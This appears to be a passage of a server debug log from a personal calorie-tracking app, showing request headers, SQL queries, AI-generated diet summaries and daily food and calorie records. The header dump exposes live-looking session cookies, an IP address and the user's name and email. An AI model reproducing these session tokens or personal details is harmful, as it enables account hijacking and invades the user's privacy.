  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T10:21:09.780Z server-connect:app Executing action step identify
2025-12-19T10:21:09.781Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:09.781Z server-connect:output identity: 1
2025-12-19T10:21:10.127Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T10:21:10.130Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T10:21:10.130Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T10:21:10.131Z server-connect:app Executing action step identify
2025-12-19T10:21:10.131Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:10.131Z server-connect:output identity: 1
2025-12-19T10:21:10.131Z server-connect:app Executing action step restrict
2025-12-19T10:21:10.131Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:21:10.131Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T10:21:10.131Z server-connect:output restrict: undefined
2025-12-19T10:21:10.132Z server-connect:app Executing action step single
2025-12-19T10:21:10.132Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T10:21:10.132Z server-connect:app Executing action step identify
2025-12-19T10:21:10.132Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:10.132Z server-connect:output identity: 1
2025-12-19T10:21:10.132Z server-connect:app Executing action step restrict
2025-12-19T10:21:10.132Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:21:10.132Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T10:21:10.133Z server-connect:app Executing action step identify
2025-12-19T10:21:10.133Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:10.133Z server-connect:output identity: 1
2025-12-19T10:21:10.133Z server-connect:app Executing action step restrict
2025-12-19T10:21:10.133Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:10.133Z server-connect:output restrict: undefined
2025-12-19T10:21:10.133Z server-connect:app Executing action step single
2025-12-19T10:21:10.133Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T10:21:10.134Z server-connect:app Executing action step identify
2025-12-19T10:21:10.134Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:10.134Z server-connect:output identity: 1
2025-12-19T10:21:10.134Z server-connect:app Executing action step restrict
2025-12-19T10:21:10.134Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:21:10.135Z server-connect:output restrict: undefined
2025-12-19T10:21:10.136Z server-connect:app Executing action step select
2025-12-19T10:21:10.136Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T10:21:10.136Z server-connect:output restrict: undefined
2025-12-19T10:21:10.136Z server-connect:app Executing action step single
2025-12-19T10:21:10.136Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T10:21:10.137Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good inclusion of protein from whey, supporting muscle development goals. However, the meal composition leans heavily on carbohydrates, with limited variety in vegetables and healthy fats. Consistent early morning gym sessions are a positive for recovery and progress. Overall, the day is decent but could benefit from more balanced nutrient intake.",
    bad_points: [
      'High carbohydrate intake from roti and aloo matar.',
      'Limited variety of vegetables and micronutrients.',
      'Potential for insufficient healthy fats beyond walnuts.'
    ],
    good_points: [
      'Inclusion of whey protein to support muscle development.',
      'Consistent early morning gym attendance.',
      'Pre-workout consumed to aid training performance.'
    ],
    suggestions: [
      'Incorporate a source of lean protein with the roti and sabzi.',
      'Add a serving of diverse vegetables to the meal.',
      'Ensure adequate hydration throughout the day.',
      'Consider a more balanced snack post-workout if needed.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T10:21:10.138Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T10:21:10.138Z server-connect:app Executing action step select
2025-12-19T10:21:10.138Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T10:21:10.140Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T10:21:10.141Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  },
  {
    id: 452,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 453,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Paneer Bhurji (less oil),Mixed Vegetable Sabzi (more greens, less potato),Mushroom Matar',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
  },
  {
    id: 454,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml',
    replacements: 'Black tea,Green tea,Herbal tea,Water',
    created_at: '2025-12-19T04:49:29.000Z',
    skip_level: 1,
    skip_reason: 'Relatively low in calories and can be a good source of hydration. If using full-fat milk, switching to skim or low-fat milk can further reduce calories and fat.'
  },
  {
    id: 455,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Jaggery Nuts Patti',
    calories: 90,
    protein_gm: 2,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)',
    replacements: 'Plain roasted nuts (almonds, walnuts),A small piece of fruit (apple, orange),Sugar-free nut bars',
    created_at: '2025-12-19T04:51:09.000Z',
    skip_level: 2,
    skip_reason: "While nuts provide healthy fats and protein, jaggery adds significant sugar. For muscle development, focusing on protein and complex carbs is better. This is an 'ok' snack but not ideal for maximizing muscle gain due to the added sugar."
  }
]
2025-12-19T10:21:10.141Z server-connect:app Executing action step setvalue
2025-12-19T10:21:10.141Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T10:21:10.141Z server-connect:output var_total: 866
2025-12-19T10:21:10.141Z server-connect:app Executing action step setvalue
2025-12-19T10:21:10.141Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T10:21:10.141Z server-connect:output var_consumed: 36
2025-12-19T10:21:10.141Z server-connect:app Executing action step setvalue
2025-12-19T10:21:10.141Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T10:21:10.141Z server-connect:output var_deficit: 1534
2025-12-19T10:21:10.141Z server-connect:app Executing action step custom
2025-12-19T10:21:10.141Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T10:21:10.142Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '866',
    surplus_or_deficit: '1534',
    status_flag: 2
  }
]
2025-12-19T10:21:10.656Z server-connect:app Executing action step identify
2025-12-19T10:21:10.656Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:10.656Z server-connect:output identity: 1
2025-12-19T10:21:12.357Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-19T10:21:12.358Z server-connect:app Executing action step identify
2025-12-19T10:21:12.358Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:12.358Z server-connect:output identity: 1
2025-12-19T10:21:12.358Z server-connect:app Executing action step restrict
2025-12-19T10:21:12.358Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:21:12.359Z server-connect:output restrict: undefined
2025-12-19T10:21:12.359Z server-connect:app Executing action step select
2025-12-19T10:21:12.359Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-19T10:21:12.360Z server-connect:output items_consumed_today: [
  {
    id: 447,
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces'
  },
  {
    id: 448,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 449,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml'
  },
  {
    id: 450,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 451,
    item_name: 'Milk Tea (without sugar)',
